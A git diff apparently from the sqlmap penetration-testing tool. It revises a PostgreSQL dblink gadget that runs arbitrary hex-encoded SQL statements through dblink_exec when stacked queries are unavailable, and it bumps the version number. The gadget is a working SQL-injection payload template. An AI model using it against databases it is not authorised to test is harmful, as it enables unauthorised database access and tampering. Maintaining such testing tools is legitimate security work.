diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index c5809d060..e2fb53db9 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -139,7 +139,7 @@
         </procedures>
         <gadgets>
             <!-- Out-of-technique statement execution when stacked queries are not available (e.g. WHERE clause injection). The '%s' placeholder receives the hex-encoded statement, rebuilt server-side to survive string escaping. -->
-            <dblink check="(SELECT COUNT(*) FROM pg_extension WHERE extname='dblink')&gt;0" command="(SELECT LENGTH(dblink_exec('dbname='||current_database(),CONVERT_FROM(DECODE('%s','hex'),'UTF8'))))"/>
+            <dblink check="(SELECT dblink_exec('dbname='||current_database(),'RESET application_name') IS NOT NULL)" command="(SELECT LENGTH(dblink_exec('dbname='||current_database(),CONVERT_FROM(DECODE('%s','hex'),'UTF8'))))"/>
         </gadgets>
         <dbs>
             <inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
diff --git a/lib/core/settings.py b/lib/core/settings.py
index fb7a90de7..1961480b0 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
 from thirdparty import six
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.10.8.50"
+VERSION = "1.10.8.51"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)